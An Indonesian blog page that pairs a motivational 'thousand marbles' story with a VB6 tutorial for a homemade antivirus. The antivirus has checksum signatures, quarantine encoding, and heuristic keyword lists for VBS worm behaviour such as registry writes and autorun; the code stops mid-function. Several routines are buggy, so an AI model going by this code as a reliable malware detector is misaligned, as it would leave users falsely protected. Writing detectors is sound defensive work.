kumpulan cerita motivasi kehidupan,motivasi diri,motivasi dalam kerja,motivasi islami,motivasi anak,motivasi berprestasi,motivasi inspirasi,motivasi disiplin,motivasi bisnis,tips motivasi,kata kata motivasi,puisi motivasi,sosok motivasiMakin tua, aku makin menikmati Sabtu pagi. Mungkin karena adanya keheningan sunyi senyap sebab aku yang pertama bangun pagi, atau mungkin juga karena tak terkira gembiraku sebab tak usah masuk kerja. Apapun alasannya, beberapa jam pertama Sabtu pagi amat menyenangkan.

Beberapa minggu yang lalu, aku agak memaksa diriku ke dapur dengan membawa secangkir kopi hangat di satu tangan dan koran pagi itu di tangan lainnya. Apa yang biasa saya lakukan di Sabtu pagi, berubah menjadi saat yang tak terlupakan dalam hidup ini. Begini kisahnya.

Aku keraskan suara radioku untuk mendengarkan suatu acara Bincang-bincang Sabtu Pagi. Aku dengar seseorang agak tua dengan suara emasnya. Ia sedang berbicara mengenai seribu kelereng kepada seseorang di telpon yang dipanggil “Tom”. Aku tergelitik dan duduk ingin mendengarkan apa obrolannya.


“Dengar Tom, kedengarannya kau memang sibuk dengan pekerjamu. Aku yakin mereka menggajimu cukup banyak, tapi kan sangat sayang sekali kau harus meninggalkan rumah dan keluargamu terlalu sering. Sulit kupercaya kok ada anak muda yang harus bekerja 60 atau 70 jam seminggunya untuk memenuhi kebutuhan sehari-hari. Untuk menonton pertunjukan tarian putrimu pun kau tak sempat”.

Ia melanjutkan : “Biar kuceritakan ini, Tom, sesuatu yang membantuku mengatur dan menjaga prioritas apa yang yang harus kulakukan dalam hidupku”.

Lalu mulailah ia menerangkan teori “seribu kelereng” nya.” Begini Tom, suatu hari aku duduk-duduk dan mulai menghiitung-hitung. Kan umumnya orang rata-rata hidup 75 tahun. Ya aku tahu, ada yang lebih dan ada yang kurang, tapi secara rata-rata umumnya kan sekitar 75 tahun. Lalu, aku kalikan 75 ini dengan 52 dan mendapatkan angka 3900 yang merupakan jumlah semua hari Sabtu yang rata-rata dimiliki seseorang selama hidupnya. Sekarang perhatikan benar-benar Tom, aku mau beranjak ke hal yang lebih penting”.

“Tahu tidak, setelah aku berumur 55 tahun baru terpikir olehku semua detail ini”, sambungnya, “dan pada saat itu aku kan sudah melewatkan 2800 hari Sabtu. Aku terbiasa memikirkan, andaikata aku bisa hidup sampai 75 tahun, maka buatku cuma tersisa sekitar 1000 hari Sabtu yang masih bisa kunikmati”.

“Lalu aku pergi ketoko mainan dan membeli tiap butir kelereng yang ada. Aku butuh mengunjungi tiga toko, baru bisa mendapatkan 1000 kelereng itu. Kubawa pulang, kumasukkan dalam sebuah kotak plastik bening besar yang kuletakkan di tempat kerjaku, di samping radio. Setiap Sabtu sejak itu, aku selalu ambil sebutir kelereng dan membuangnya”.

“Aku alami, bahwa dengan mengawasi kelereng-kelereng itu menghilang, aku lebih memfokuskan diri pada hal-hal yang betul-betul penting dalam hidupku. Sungguh, tak ada yang lebih berharga daripada mengamati waktumu di dunia ini menghilang dan berkurang, untuk menolongmu membenahi dan meluruskan segala prioritas hidupmu”.

“Sekarang aku ingin memberikan pesan terakhir sebelum kuputuskan teleponmu dan mengajak keluar istriku tersayang untuk sarapan pagi. Pagi ini, kelereng terakhirku telah kuambil, kukeluarkan dari kotaknya. Aku berfikir, kalau aku sampai bertahan hingga Sabtu yang akan datang, maka Allah telah meberi aku dengan sedikit waktu tambahan ekstra untuk kuhabiskan dengan orang-orang yang kusayangi”.

“Senang sekali bisa berbicara denganmu, Tom. Aku harap kau bisa melewatkan lebih banyak waktu dengan orang-orang yang kau kasihi, dan aku berharap suatu saat bisa berjumpa denganmu. Selamat pagi!”

Saat dia berhenti, begitu sunyi hening, jatuhnya satu jarumpun bisa terdengar ! Untuk sejenak, bahkan moderator acara itupun membisu. Mungkin ia mau memberi para pendengarnya, kesempatan untuk memikirkan segalanya. Sebenarnya aku sudah merencanakan mau bekerja pagi itu, tetapi aku ganti acara, aku naik ke atas dan membangunkan istriku dengan sebuah kecupan.

“Ayo sayang, kuajak kau dan anak-anak ke luar, pergi sarapan”. “Lho, ada apa ini…?”, tanyanya tersenyum. “Ah, tidak ada apa-apa, tidak ada yang spesial”, jawabku, “Kan sudah cukup lama kita tidak melewatkan hari Sabtu dengan anak-anak ? Oh ya, nanti kita berhenti juga di toko mainan ya? Aku butuh beli kelereng.”

Sumber: Unknown (Tidak Diketahui)
Dikutip dari Indonesian groups

Dari setiap satu kelereng yang telah terbuang, apakah yang telah anda dapatkan ?

Apakah ……..
kesedihan
keraguan
kebosanan
rasa marah
putus asa
hambatan
permusuhan
pesimis
kegagalan ?

ataukah …….
kebahagiaan
kepercayaan
antusias
cinta kasih
motivasi
peluang
persahabatan
optimis
kesuksesan ?

Waktu akan berlalu dengan cepat. Tidak banyak kelereng yang tersisa dalam kantong anda saat ini. Gunakan secara bijak untuk memberikan kebahagiaan yang lebih baik bagi anda sendiri, keluarga, dan lingkungan anda.

Jumat, 24 Agustus 2012

Tutor membuat antivirus dri VB6

lngsung aja

dsni kita membuat antivirus dgn VB6

-> Teknik checksum
antivirus ini tidak menggunakan teknik scan menggunakan CRC32 melainkan menggunakan teknik READ BYTE langsung dari tubuh virus/worm nya

"Mengapa aye menerapkan teknik ini ?
tentu saja karena waktu scan akan lebih cepat daripada menggunakan CRC32,akurat pada saat pendeteksian & menghemat penggunaan string agar ukuran antivirus nya tidak terlalu besar

-> Fitur karantina file yang terdeteksi
"Dengan adanya fitur ini user tidak perlu takut file nya akan terhapus,karena dengan menggunakan fitur ini,file akan dikarantina oleh antivirus ke dalam suatu folder dan file yang terdeteksi tidak akan bisa di jalankan/di eksekusi"

-> Fitur Heuristic
"Heuristic dalam dunia antivirus berarti mendapatkan virus/worm baru"
pada antivirus ini akan diterapkan 2 teknik heuristic yaitu :

1. Heuristic Icon
Hampir rata-rata semua virus lokal menggunakan icon seperti icon Office word,winamp,Icon Folder yang bertujuan agar user awam mengklik file virus tersebut,
dengan teknik ini antivirus dapat melihat mana file virus yang menyamar dengan icon palsu atau file asli yang tidak terinfeksi virus

2. Heuristic VBS
Dengan teknik ini antivirus mampu membaca source dari file VBS yang biasa di pakai virus,
antivirus akan mencocokan source yang ada pada database dengan source yang terdapat pada virus,jika cocok maka akan langsung di anggap virus

Itu sedikit penjelasan tentang antivirus yang akan kita buat sekarang,
yuk langsung saja kita mulai membuat antivirus nya
aye akan berikan source code fullnya pada akhir postingan

-------------------------------------------
Author : Dias Taufik Rahman a.k.a mydisha
Compiller : Microsoft Visual Basic 6.0
Program Type : Antivirus
Source Code : Yes
-------------------------------------------

1.Buka program microsoft visual basic 6.0 -> Standard EXE -> OK
maka akan tampil form baru sesuai dengan gambar di bawah,desain form sesuai keinginan anda

Beri nama form tersebut : frmUtama

2.Setelah form selesai di rubah namanya tambahkan component Mscomctl.Ocx dengan cara
Klik Project -> Components -> Microsoft Windows Common Controls 6.0 -> lalu klik OK

3.Setelah component sukses di tambahkan langkah selanjutnya adalah menambah Command Button,Textbox,Listview,Picture Box
disini aye menggunakan desain yang sangat sederhana,desain bisa anda rubah sendiri sesuai kreatifitas anda ^^

- Tambahkan Listview kedalam form dan beri nama lvScan
yg da lingkaran merah adalah listview yang telah di tambahkan ke dalam form.

setelah itu setting listview dengan cara
Klik Listview -> Disebelah kanan bawah ada kotak properties -> Custom

Lalu pada tab Column Headers klik insert column
- Column 1 beri nama : Virus Name
- Column 2 beri nama : Path
- Column 3 beri nama : Checksum Virus
- Column 4 beri nama : Status Virus
lalu klik Ok

Tambahkan picture box buat picture box itu sekecil mungkin dan beri nama sIcon
Setting :
Appearance : Flat
Auto Redraw : True
Border Style : None
Visible : False

Tambahkan Textbox ke dalam form dengan nama txtPath
Setting :
Appearance : Flat
Border Style : None

Tambahkan Command Button dengan nama cmdBrowse di samping Textbox yang telah di buat tadi
Setting :
Caption : ...

Masukan Code ini ke dalam cmdBrowse

Code:
Dim Pathnya As String
Pathnya = ""
Pathnya = BrowseFolder("Pilih folder yang akan di Scan:", Me)
If Pathnya <> "" Then
txtPath.Text = Pathnya
End If

Code di atas berfungsi untuk membuka kotak dialog yang berisi path" yang ada di dalam komputer lalu mencetaknya ke dalam textbox yang bernama txtPath

Tambahkan label dengan nama default
Setting :
Caption : Dir Scanned

Tambahkan label dengan nama lblDirScan
Setting :
Caption : 0

Tambahkan label dengan nama default
Setting :
Caption : Detected

Tambahkan label dengan nama lblFileDet
Setting :
Caption : 0

Tambahkan label dengan nama default
Setting :
Caption : File Scanned

Tambahkan label dengan nama lblFileScan
Setting :
Caption : 0

Tambahkan Textbox dengan nama txtFileScan
Setting :
Multiline : True
Scroll Bar : 2-Vertical

Tambahkan Command Button dengan nama cmdScan
Setting :
Caption : &Scan

Code:
If cmdScan.Caption = "Scan" Then
Pathnya = txtPath.Text
If Mid(Pathnya, 2, 1) <> ":" Or Pathnya = "" Then
MsgBox "Direktori Tidak Ditemukan", vbCritical, "Error"
Exit Sub
Else
lvScan.Enabled = False
cmdEnable False, False, False
clear_log
cmdScan.Caption = "Stop"
StopScan = False
FindFilesEx txtPath.Text, CBool(chkSubDir.Value)
MsgBox "Scan finished !" & vbNewLine & vbNewLine & "Total Dir Scanned = " & lblDirScan.Caption & _
vbNewLine & "Total File Scanned = " & lblFileScan.Caption & vbNewLine & "Total File Detected = " & lblFileDet.Caption, vbInformation, "Finish"
If lblFileDet.Caption <> "0" Then
cmdEnable True, True, True
Else
cmdEnable False, False, True
End If
lvScan.Enabled = True
cmdScan.Caption = "Scan"
End If
Else
cmdScan.Caption = "Scan"
StopScan = True
End If
fungsi kode di atas adalah untuk memulai scan pada antivirus

Tambahkan Command Button dengan nama cmdAction
Setting :
Caption : &Delete

Tambahkan Command Button dengan nama cmdAction
Setting :
Caption : &Quarantine

Tambahkan Command Button dengan nama cmdViewQ
Setting :
Caption : &View Quarantine File

Tambahkan Command Button dengan nama cmdAction
Setting :
Caption : &Delete

Tambahkan kode ini di dalamnya

Code:
Dim DftrFile As String
DftrFile = GetSelected(lvScan)
If DftrFile = "" Then
MsgBox "No Detected File(s) Selected", vbCritical, ""
Exit Sub
End If
Select Case Index
Case 0
clean = Action(DftrFile, lvScan, "D")
MsgBox clean & " File(s) has been deleted"
Case 1
clean = Action(DftrFile, lvScan, "Q")
MsgBox clean & " File(s) has been quarantine"
End Select
Fungsi di atas adalah fungsi untuk menghapus/mengkarantina file yang terdeteksi

Tambahkan Command Button dengan nama cmdAction
Setting :
Caption : &Quarantine

Tambahkan Command Button dengan nama cmdViewQ
Setting :
Caption : &View Quarantine File

Lalu masukan code ini ke dalamnya

Code:
frmQuarantine.Show , Me
frmUtama.Enabled = False
Code di atas berfungsi untuk memunculkan form quarantine dan meng enabled form utama

nah selesai untuk memasukan control ke dalam formnya

lalu klik kanan pada form masukan kode di bawah ini

Code:
Private Sub lvScan_ItemCheck(ByVal Item As MSComctlLib.ListItem)
UnSelect lvScan, "Di Karantina"
UnSelect lvScan, "Di Hapus"
End Sub

Private Function cmdEnable(hapus As Boolean, Quarantine As Boolean, openQuarantine As Boolean)
cmdAction(0).Enabled = hapus
cmdAction(1).Enabled = Quarantine
cmdViewQ.Enabled = openQuarantine
End Function

Private Function clear_log()
lblDirScan.Caption = 0
lblFileScan.Caption = 0
lblFileDet.Caption = 0
lvScan.ListItems.Clear
jumlahDir = 0
jumlahFile = 0
jumlahVirus = 0
End Function


lalu di Form_load() masukan kode ini

Code:
On Error Resume Next
MkDir "Quarantine"
BuildDatabase

Lalu buatlah 1 module dengan nama modAPI

Lalu tambahkan code di bawah ini

Code:
Public Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
Public Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
Public Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long
Public Declare Function PathIsDirectory Lib "shlwapi.dll" Alias "PathIsDirectoryA" (ByVal pszPath As String) As Long
Public Declare Function CopyFile Lib "kernel32.dll" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Public Declare Function MoveFile Lib "kernel32.dll" Alias "MoveFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String) As Long
Public Declare Function DeleteFile Lib "kernel32" Alias "DeleteFileA" (ByVal lpFileName As String) As Long
Public Declare Function PathFileExists Lib "shlwapi.dll" Alias "PathFileExistsA" (ByVal pszPath As String) As Long
Public Declare Function GetSystemDirectory Lib "kernel32.dll" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function GetWindowsDirectory Lib "kernel32.dll" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long
Public Declare Function SHBrowseForFolder Lib "shell32.dll" Alias "SHBrowseForFolderA" (lpBrowseInfo As BROWSEINFO) As Long
Private Declare Function RealizePalette Lib "gdi32" (ByVal hDC As Long) As Long
Public Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As Any, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Public Declare Function GetFileSize Lib "kernel32" (ByVal hFile As Long, lpFileSizeHigh As Long) As Long
Public Declare Function VirtualAlloc Lib "kernel32" (lpAddress As Any, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Public Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, lpOverlapped As Any) As Long
Public Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, lpOverlapped As Any) As Long
Public Declare Function SetFilePointer Lib "kernel32" (ByVal hFile As Long, ByVal lDistanceToMove As Long, lpDistanceToMoveHigh As Long, ByVal dwMoveMethod As Long) As Long
Public Declare Function SetEndOfFile Lib "kernel32" (ByVal hFile As Long) As Long

Public Const GENERIC_READ = &H80000000
Public Const GENERIC_WRITE = &H40000000
Public Const FILE_SHARE_READ = &H1
Public Const OPEN_EXISTING = 3
Public Const FILE_ATTRIBUTE_NORMAL = &H80
Public Const INVALID_HANDLE_VALUE = -1
Public Const FILE_END = 2
Public Const FILE_BEGIN = 0
Public Const FILE_CURRENT = 1
Public Const LWA_COLORKEY = &H1
Public Const GWL_EXSTYLE = (-20)
Public Const WS_EX_LAYERED = &H80000
Public Const MAX_PATH = 260
Public Const SW_SHOWNORMAL = 1

Public Type FileTime
dwLowDateTime As Long
dwHighDateTime As Long
End Type

Public Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FileTime
ftLastAccessTime As FileTime
ftLastWriteTime As FileTime
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type

Type BROWSEINFO
hOwner As Long
pidlRoot As Long
pszDisplayName As String
lpszTitle As String
ulFlags As Long
lpfn As Long
lParam As Long
iImage As Long
End Type

'untuk browse folder
Public Function BrowseFolder(ByVal aTitle As String, ByVal aForm As Form) As String
Dim bInfo As BROWSEINFO
Dim rtn&, pidl&, path$, pos%
Dim BrowsePath As String
bInfo.hOwner = aForm.hWnd
bInfo.lpszTitle = aTitle
bInfo.ulFlags = &H1
pidl& = SHBrowseForFolder(bInfo)
path = Space(512)
t = SHGetPathFromIDList(ByVal pidl&, ByVal path)
pos% = InStr(path$, Chr$(0))
BrowseFolder = Left(path$, pos - 1)
If Right$(Browse, 1) = "\" Then
BrowseFolder = BrowseFolder
Else
BrowseFolder = BrowseFolder + "\"
End If
If Right(BrowseFolder, 2) = "\\" Then BrowseFolder = Left(BrowseFolder, Len(BrowseFolder) - 1)
If BrowseFolder = "\" Then BrowseFolder = ""
End Function

Public Function StripNulls(ByVal OriginalStr As String) As String
If (InStr(OriginalStr, Chr$(0)) > 0) Then
OriginalStr = Left$(OriginalStr, InStr(OriginalStr, Chr(0)) - 1)
End If
StripNulls = OriginalStr
End Function

'fungsi untuk menentukan file script atau bukan
Public Function IsScript(Filename As String) As Boolean
IsScript = False
ext = Split("|vbs|vbe", "|")
For i = 1 To UBound(ext)
If LCase(Right(Filename, 3)) = LCase(ext(i)) Then IsScript = True
Next
End Function

Code di atas adalah Fungsi API yang di butuhkan untuk antivirus

Buat 1 module dengan nama modChecksum
masukan code di bawah ini

Code:
Public Function GetChecksum(FilePath As String) As String
Dim CheckSum(1 To 2) As String
CheckSum(1) = CalcBinary(FilePath, 499, 4500)
CheckSum(2) = CalcBinary(FilePath, 499, 4000)
GetChecksum = CheckSum(1) & CheckSum(2)
End Function
Public Function CalcBinary(ByVal lpFileName As String, ByVal lpByteCount As Long, Optional ByVal StartByte As Long = 0) As String
On Error GoTo err
Dim Bin() As Byte
Dim ByteSum As Long
Dim i As Long
ReDim Bin(lpByteCount) As Byte
Open lpFileName For Binary As #1
If StartByte = 0 Then
Get #1, , Bin
Else
Get #1, StartByte, Bin
End If
Close #1
For i = 0 To lpByteCount
ByteSum = ByteSum + Bin(i) ^ 2
Next i
CalcBinary = Hex$(ByteSum)
Exit Function
err:
CalcBinary = "00"
End Function

potongan code di atas di gunakan untuk meng kalkulasi checksum


buat 1 module lagi dengan nama modDatabase
lalu tambahkan code di bawah ini

Code:
Public VirusDB(5), IconDB(48), Bahaya(5) As String
Public Sub BuildDatabase()
Call Checksum_DB
Call IconCompare_DB
Call Script_DB
End Sub
Private Sub Checksum_DB()
VirusDB(1) = "Alman.A|8911D290F723"
VirusDB(2) = "Malingsi.A|A6292EA60230"
VirusDB(3) = "Conficker.A|9EC112ABB2F3"
VirusDB(4) = "N4B3.A|B5CCD36CDB98"
VirusDB(5) = "N4B3.B|A1FE6D6DBE07"
End Sub
Public Sub IconCompare_DB()
On Error Resume Next
IconDB(1) = "20938B2"
IconDB(2) = "19F4ED6"
IconDB(3) = "133BE0B"
IconDB(4) = "18EDEAE"
IconDB(5) = "1EF89C2"
IconDB(6) = "1C915FF"
IconDB(7) = "24563C4"
IconDB(8) = "1B2DB74"
IconDB(9) = "208EA72"
IconDB(10) = "22A064D"
IconDB(11) = "19B64EE"
IconDB(12) = "1D4B7E1"
IconDB(13) = "2087762"
IconDB(14) = "29C7258"
IconDB(15) = "1B18705"
IconDB(16) = "1B5FCAB"
IconDB(17) = "126D4CF"
IconDB(18) = "1C58E5C"
IconDB(19) = "15D7730"
IconDB(20) = "1FB82B7"
IconDB(21) = "112763E"
IconDB(22) = "2165AF9"
IconDB(23) = "25F46BE"
IconDB(24) = "206556B"
IconDB(25) = "22A8D69"
IconDB(26) = "19237F8"
IconDB(27) = "15022B4"
IconDB(28) = "1D8B4EB"
IconDB(29) = "1DBC1EA"
IconDB(30) = "2333F5D"
IconDB(31) = "1F37C2F"
IconDB(32) = "1C9CCA4"
IconDB(33) = "1DFDFB4"
IconDB(34) = "1C1283E"
IconDB(35) = "1F6598C"
IconDB(36) = "27F4C1A"
IconDB(37) = "22F92E0"
IconDB(38) = "191DBDC"
IconDB(39) = "27BFE4A"
IconDB(40) = "20E0907"
IconDB(46) = "2FA4C88"
IconDB(47) = "25AA630"
IconDB(48) = "1DE28E2"
End Sub
Public Sub Script_DB()
On Error Resume Next
Bahaya(1) = "Scripting.FileSystemObject|Wscript.ScriptFullName|WScript.Shell|.regwrite|.copy"
Bahaya(2) = "Wscript.ScriptFullName|createobject|strreverse|.regwrite"
Bahaya(3) = "createobject|Wscript.ScriptFullName|.regwrite|[autorun]"
Bahaya(4) = "createobject|Wscript.ScriptFullName|specialfolder|.regwrite"
Bahaya(5) = "chr(asc(mid(|createobject|Wscript.ScriptFullName|.GetFolder|.RegWrite"
End Sub

potongan code di atas adalah database pada antivirusnya

buat lagi 1 buah module dengan nama modQuar
masukan code yang ada di bawah ini

Code:
Option Explicit
Public Function EncodeFile(SourceFile As String, DestFile As String)
Dim ByteArray() As Byte, Filenr As Integer
Filenr = FreeFile
Open SourceFile For Binary As #Filenr
ReDim ByteArray(0 To LOF(Filenr) - 1)
Get #Filenr, , ByteArray()
Close #Filenr
Call Coder(ByteArray())
If (PathFileExists(DestFile)) <> 0 Then DeleteFile DestFile
Open DestFile For Binary As #Filenr
Put #Filenr, , ByteArray()
Close #Filenr
End Function
Public Function DecodeFile(SourceFile As String, DestFile As String)
Dim ByteArray() As Byte, Filenr As Integer
Filenr = FreeFile
Open SourceFile For Binary As #Filenr
ReDim ByteArray(0 To LOF(Filenr) - 1)
Get #Filenr, , ByteArray()
Close #Filenr
Call DeCoder(ByteArray())
If (PathFileExists(DestFile)) <> 0 Then DeleteFile DestFile
Open DestFile For Binary As #Filenr
Put #Filenr, , ByteArray()
Close #Filenr
End Function
Private Sub Coder(ByteArray() As Byte)
Dim x As Long
Dim Value As Integer
Value = 0
For x = 0 To UBound(ByteArray)
Value = Value + ByteArray(x)
If Value > 255 Then Value = Value - 256
ByteArray(x) = Value
Next
End Sub
Private Sub DeCoder(ByteArray() As Byte)
Dim x As Long
Dim Value As Integer
Dim newValue As Integer
newValue = 0
For x = 0 To UBound(ByteArray)
Value = newValue
newValue = ByteArray(x)
Value = ByteArray(x) - Value
If Value < 0 Then Value = Value + 256
ByteArray(x) = Value
Next
End Sub

Code di atas adalah code untuk enkripsi/dekripsi pada virus yang akan di karantina

Buat lagi 1 module dengan nama modHeuristic
lalu masukan code di bawah ini

Code:
Private Declare Function ExtractIconEx Lib "shell32.dll" Alias "ExtractIconExA" (ByVal lpszFile As String, ByVal nIconIndex As Long, ByRef phiconLarge As Long, ByRef phiconSmall As Long, ByVal nIcons As Long) As Long
Private Declare Function DestroyIcon Lib "user32.dll" (ByVal hIcon As Long) As Long
Private Declare Function DrawIconEx Lib "user32" (ByVal hDC As Long, ByVal xLeft As Long, ByVal yTop As Long, ByVal hIcon As Long, ByVal cxWidth As Long, ByVal cyWidth As Long, ByVal istepIfAniCur As Long, ByVal hbrFlickerFreeDraw As Long, ByVal diFlags As Long) As Boolean
Private Declare Function ExtractIcon Lib "shell32.dll" Alias "ExtractIconA" (ByVal hInst As Long, ByVal lpszExefileName As String, ByVal nIconIndex As Long) As Long
Private Const DI_MASK = &H1
Private Const DI_IMAGE = &H2
Private Const DI_NORMAL = &H3
Private Const DI_COMPAT = &H4
Private Const DI_DEFAULTSIZE = &H8
Private Const SHGFI_DISPLAYNAME = &H200
Private Const SHGFI_EXETYPE = &H2000
Private Const SHGFI_SYSICONINDEX = &H4000
Private Const SHGFI_LARGEICON = &H0
Private Const SHGFI_SMALLICON = &H1
Private Const ILD_TRANSPARENT = &H1
Private Const SHGFI_SHELLICONSIZE = &H4
Private Const SHGFI_TYPENAME = &H400
Private Const BASIC_SHGFI_FLAGS = SHGFI_TYPENAME Or SHGFI_SHELLICONSIZE Or SHGFI_SYSICONINDEX Or SHGFI_DISPLAYNAME Or SHGFI_EXETYPE
Private SIconInfo As SHFILEINFO
Private SectionHeaders() As IMAGE_SECTION_HEADER
Dim i As Integer
Dim j As Integer
Public Function CekHeuristic(Filename As String)
CekHeuristic = ""
On Error GoTo hError
Dim hFile As Long, bRW As Long
Dim DOSheader As IMAGE_DOS_HEADER
Dim NTHeaders As IMAGE_NT_HEADERS
Dim Filedata As String
DOS_HEADER_INFO = ""
NT_HEADERS_INFO = ""
hFile = CreateFile(Filename, ByVal (GENERIC_READ Or GENERIC_WRITE), FILE_SHARE_READ, ByVal 0&, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, ByVal 0)
ReadFile hFile, DOSheader, Len(DOSheader), bRW, ByVal 0&
SetFilePointer hFile, DOSheader.e_lfanew, 0, 0
ReadFile hFile, NTHeaders, Len(NTHeaders), bRW, ByVal 0&
If NTHeaders.Signature <> IMAGE_NT_SIGNATURE Then
If IsScript(Filename) = True Then
Open Filename For Binary As #1
Filedata = Space$(LOF(1))
Get #1, , Filedata
Close #1
CekHeuristic = CekHeur(Filedata)
End If
Exit Function
End If
CekHeuristic = CekIconBinary(Filename)
hError:
End Function
Private Function CekHeur(Data As String)
Dim hsl, asl As Integer
strasli = LCase(Replace(Data, vbNewLine, "$"))
For i = 1 To UBound(Bahaya)
hsl = 0
strData = Split(Bahaya(i), "|")
asl = 0
For k = 0 To UBound(strData)
xxx = LCase(strData(k))
If InStr(strasli, xxx) > 0 Then hsl = hsl + 1
asl = asl + 1
Next
If hsl = asl Then
CekHeur = "Malicious-Script"
Exit Function
End If
Next
CekHeur = ""
End Function
Private Function CekIconBinary(PathFile As String)
Dim q As Integer
Dim IconIDNow As String
CekIconBinary = ""
IconIDNow = CalcIcon(PathFile)
If IconIDNow = "" Then Exit Function
For q = 1 To UBound(IconDB)
If IconDB(q) = IconIDNow Then
CekIconBinary = "Malicious-Icon"
Exit Function
End If
Next q
End Function
Private Function CalcBinary(ByVal lpFileName As String, ByVal lpByteCount As Long, Optional ByVal StartByte As Long = 0) As String
Dim Bin() As Byte
Dim ByteSum As Long
Dim i As Long
ReDim Bin(lpByteCount) As Byte
Open lpFileName For Binary As #1
If StartByte = 0 Then
Get #1, , Bin
Else
Get #1, StartByte, Bin
End If
Close #1
For i = 0 To lpByteCount
ByteSum = ByteSum + Bin(i) ^ 2
Next i
CalcBinary = Hex$(ByteSum)
End Function
Private Function CalcIcon(ByVal lpFileName As String) As String
Dim PicPath As String
Dim ByteSum As String
Dim IconExist As Long
Dim hIcon As Long
IconExist = ExtractIconEx(lpFileName, 0, ByVal 0&, hIcon, 1)
If IconExist <= 0 Then
IconExist = ExtractIconEx(lpFileName, 0, hIcon, ByVal 0&, 1)
If IconExist <= 0 Then Exit Function
End If
frmUtama.sIcon.BackColor = vbWhite
DrawIconEx frmUtama.sIcon.hDC, 0, 0, hIcon, 0, 0, 0, 0, DI_NORMAL
DestroyIcon hIcon
PicPath = Environ$("windir") & "\tmp.tmp"
SavePicture frmUtama.sIcon.Image, PicPath
ByteSum = CalcBinary(PicPath, FileLen(PicPath))
DeleteFile PicPath
CalcIcon = ByteSum
End Function
Fungsi di atas adalah fungsi untuk mengecek suatu file dengan metode heuristic icon + heuristic untuk virus VBS


Buat 1 module dengan nama modIconCompare
lalu masukan code di bawah ini

Code:
Option Explicit
Private Const SHGFI_DISPLAYNAME = &H200, SHGFI_EXETYPE = &H2000, SHGFI_SYSICONINDEX = &H4000, SHGFI_LARGEICON = &H0, SHGFI_SMALLICON = &H1, SHGFI_SHELLICONSIZE = &H4, SHGFI_TYPENAME = &H400, ILD_TRANSPARENT = &H1, BASIC_SHGFI_FLAGS = SHGFI_TYPENAME Or SHGFI_SHELLICONSIZE Or SHGFI_SYSICONINDEX Or SHGFI_DISPLAYNAME Or SHGFI_EXETYPE
Public Type SHFILEINFO
hIcon As Long: iIcon As Long: dwAttributes As Long: szDisplayName As String * MAX_PATH: szTypeName As String * 80
End Type
Private Declare Function SHGetFileInfo Lib "shell32.dll" Alias "SHGetFileInfoA" (ByVal pszPath As String, ByVal dwFileAttributes As Long, psfi As SHFILEINFO, ByVal cbSizeFileInfo As Long, ByVal uFlags As Long) As Long
Private Declare Function ImageList_Draw Lib "comctl32.dll" (ByVal himl As Long, ByVal i As Long, ByVal hdcDest As Long, ByVal x As Long, ByVal y As Long, ByVal flags As Long) As Long
Private shinfo As SHFILEINFO, sshinfo As SHFILEINFO
Private Declare Function DrawIconEx Lib "user32.dll" (ByVal hDC As Long, ByVal xLeft As Long, ByVal yTop As Long, ByVal hIcon As Long, ByVal cxWidth As Long, ByVal cyWidth As Long, ByVal istepIfAniCur As Long, ByVal hbrFlickerFreeDraw As Long, ByVal diFlags As Long) As Long
Private SIconInfo As SHFILEINFO

Public Enum IconRetrieve
ricnLarge = 32
ricnSmall = 16
End Enum

Public Sub RetrieveIcon(fName As String, DC As PictureBox, icnSize As IconRetrieve)
Dim hImgSmall, hImgLarge As Long
Debug.Print fName
Select Case icnSize
Case ricnSmall
hImgSmall = SHGetFileInfo(fName$, 0&, shinfo, Len(shinfo), BASIC_SHGFI_FLAGS Or SHGFI_SMALLICON)
Call ImageList_Draw(hImgSmall, shinfo.iIcon, DC.hDC, 0, 0, ILD_TRANSPARENT)
Case ricnLarge
hImgLarge& = SHGetFileInfo(fName$, 0&, shinfo, Len(shinfo), BASIC_SHGFI_FLAGS Or SHGFI_LARGEICON)
Call ImageList_Draw(hImgLarge, shinfo.iIcon, DC.hDC, 0, 0, ILD_TRANSPARENT)
End Select
End Sub
Public Function ExtractIcon(Filename As String, AddtoImageList As ImageList, PictureBox As PictureBox, PixelsXY As IconRetrieve, iKey As String) As Long
Dim SmallIcon As Long
Dim NewImage As ListImage
Dim IconIndex As Integer
On Error GoTo Load_New_Icon
If iKey <> "Application" And iKey <> "Shortcut" Then
ExtractIcon = AddtoImageList.ListImages(iKey).Index
Exit Function
End If
Load_New_Icon:
On Error GoTo Reset_Key
RetrieveIcon Filename, PictureBox, PixelsXY
IconIndex = AddtoImageList.ListImages.Count + 1
Set NewImage = AddtoImageList.ListImages.Add(IconIndex, iKey, PictureBox.Image)
ExtractIcon = IconIndex
Exit Function
Reset_Key:
iKey = ""
Resume
End Function
Public Sub GetLargeIcon(icPath$, pDisp As PictureBox)
